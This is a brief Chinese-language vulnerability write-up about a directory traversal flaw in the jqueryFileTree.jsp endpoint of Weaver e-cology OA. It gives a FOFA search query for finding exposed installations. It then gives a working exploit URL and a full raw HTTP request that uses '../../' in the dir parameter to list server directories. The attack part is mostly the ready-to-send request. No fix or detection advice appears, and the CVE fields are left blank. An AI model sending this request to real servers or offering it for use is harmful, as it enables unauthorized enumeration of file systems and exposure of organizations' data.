泛微e-cology jqueryFileTree.jsp接口存在敏感信息泄露

秋水5326

漏洞描述：
泛微e-cology依托全新的设计理念,全新的管理思想。 为中大型组织创建全新的高效协同办公环境。 智能语音办公,简化软件操作界面。 身份认证、电子签名、电子签章、数据存证让合同全程数字化。泛微e-cology jqueryFileTree.jsp接口存在敏感信息泄露。CVE编号:
CNNVD编号:
CNVD编号:
2:  影响版本
泛微e-cology
泛微e-cology jqueryFileTree.jsp接口存在敏感信息泄露
3:  fofa查询语句
app="Weaver-OA(e-cology)"
4:  漏洞复现
漏洞链接： http://xx.xx.xx.xx/hrm/hrm_e9/orgChart/js/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.jsp?dir=/page/resource/userfile/../../
漏洞数据包：GET /hrm/hrm_e9/orgChart/js/jquery/plugins/jqueryFileTree/connectors/jqueryFileTree.jsp?dir=/page/resource/userfile/../../ HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: Keep-Alive
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1